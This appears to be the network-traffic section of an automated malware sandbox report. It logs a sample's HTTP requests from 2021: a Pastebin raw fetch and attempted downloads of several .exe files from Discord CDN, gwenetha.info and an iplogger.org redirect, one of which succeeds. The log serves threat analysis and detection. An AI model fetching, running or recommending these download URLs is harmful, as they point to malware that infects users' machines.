Network Analysis

GET /raw/gCyjHCCH HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 04:18:38 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d0abc1351060f7f6ba3daa3f2a16cbae81617769118; expires=Fri, 07-May-21 04:18:38 GMT; path=/; domain=.pastebin.com; HttpOnly; SameSite=Lax; Secure x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 263 cf-request-id: 094c26d3c70000a225ad200000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 63c073ffa978a225-ICN

GET /attachments/826416818390040589/826855866228670474/7525b875715555.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 04:18:54 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d12f09bfb61868096c3fff333c3555d4c1617769134; expires=Fri, 07-May-21 04:18:54 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63c074613d2912d2-ICN Age: 234 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 04:15:00 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094c2710c5000012d24e94b000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Uw6flOkuYYkjklHKhIJ_StpD57k9-9U1yP1ICPD3igcP8VbJdWTz1kmk9RG0--YsZ3LEg29Vm3SLpRjWcqIA7EuFBg3Rw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=T4d%2F76P12mxmWq5Faa%2FtGG%2BNp3XuH15d49GsnmK219Wfy1ADHDMLL382h04I4xZ%2FkGtYfij6sLhewvY%2FQzs8umrYDp5%2BDexzQzXer5yQTsphCN0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /setup-KGQJ-1.exe HTTP/1.1 Host: gwenetha.info Connection: Keep-Alive

HTTP/1.1 404 Not Found Date: Wed, 07 Apr 2021 04:18:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 19 Connection: keep-alive Set-Cookie: __cfduid=d376094dddff71b0bee51b5786d7c83281617769134; expires=Fri, 07-May-21 04:18:54 GMT; path=/; domain=.gwenetha.info; HttpOnly; SameSite=Lax x-content-type-options: nosniff CF-Cache-Status: DYNAMIC cf-request-id: 094c27128400000f3e87af5000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=YBB27S3QhKuCfZkZvFtYpK%2FDLT9esKTS8ngCEOMAiRJR5jdLp%2B0Q1LvbGQMzxMN0TlxSomC46xHmvhvI6SofVPZA0PrMTY3Ehr9rgf4%2B"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63c0746409110f3e-DFW alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826198252025675816/826538114838298715/install_setupVPSfree.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 04:18:55 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=dab76f76593dc5e99bff5b0205e1821b21617769135; expires=Fri, 07-May-21 04:18:55 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63c07465fbed015c-ICN Age: 258 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 04:14:37 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094c2713b90000015cf196e000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UyLibwNyIfQdNoVJGlO-NWKxh8o4KdqNllWfVVPsto5hP8oy3CW3pQuEir42MKza4bd0TAkkwC_ON7yePPFUcc64ZkJDA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=8Dx1KMiE94jYwBy1oZc7olvZmaBGqp5ECFOci8GwOktU95D8%2FH%2FgPZJNvjJoEWj94mY9W9cpKipfpuWLE2qNuGYQC8BhJuvrdUpKQudRUOgcdNE%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /2LehR6.exe HTTP/1.1 Host: iplogger.org Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 07 Apr 2021 04:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=2oeqackrqq4krq2erro8da8571; path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=261279051; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 04:19:08 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d0ba69107105a398aa988c47b3e6cdbe91617769148; expires=Fri, 07-May-21 04:19:08 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63c074baae6000cf-ICN Age: 237 Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 04:15:11 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094c2748a8000000cf413b6000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UyCqrDisurC2N7bc2n7XJzjbRJXZA5hB-Lc65obOIv4yZY7LNwBBtvV2K1MyDbS0l3QNrDBdeDL6JgbrSXycsBEQ8YF6A X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=rzYlnEyPGoAJDbTFHkH6iUiOuilkWRz87CwbflT7y39XxZt7kmf8SGgejbXtwL02JIzeFjTbZx2kXNXdWZfNm2uon4wG4ZzuNE1wp78Jbyj%2B8ZQ%3D"}],"max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 04:19:08 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=d150b7b8990e62cc2abfe2d32c4a4c3511617769148; expires=Fri, 07-May-21 04:19:08 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63c074bb2bfe352c-ICN Accept-Ranges: bytes Age: 624157 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Thu, 07 Apr 2022 04:19:08 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094c2748f50000352cdd2e1000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=4v2a6XPO3ILNcAUbr8lsU047sM9R%2FGbM8CaFbSR5oDUK99rI1%2BZvrS4Dk95e0hSN6cYfBIdONxzEkFq3dbKhKJ1WKDzuBlKr1iCVsUIFKlDRMGI%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 04:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=dd5b3352b4ac82d10990baa77268655861617769151; expires=Fri, 07-May-21 04:19:11 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094c2752f70000352c32b54000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=R1s4ntCR3k%2F6OddYx3eh7xEUgXEfIxYLwlCZURK2QLxN2deDxsdd7CRUjMz788y%2FmmA2xYcvsecgRRofzcoHqfWbUDE9fsbzKRG0nxYi6GmyT6Y%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63c074cb2971352c-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 04:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=da76cc012fc7914dbb841458d063354151617769151; expires=Fri, 07-May-21 04:19:11 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094c2754d600003532e0a4c000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=s4PtO%2FTu5MATlEZyEtPMEFj97iEBIGxTJXeqVwXmiNxW18l6rWVFjwa%2FtY2We%2BoMir0XdddIi7GxwYhnPByJfopiMzfb33JhdzNI9zd3yQBAlfc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63c074ce28e93532-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400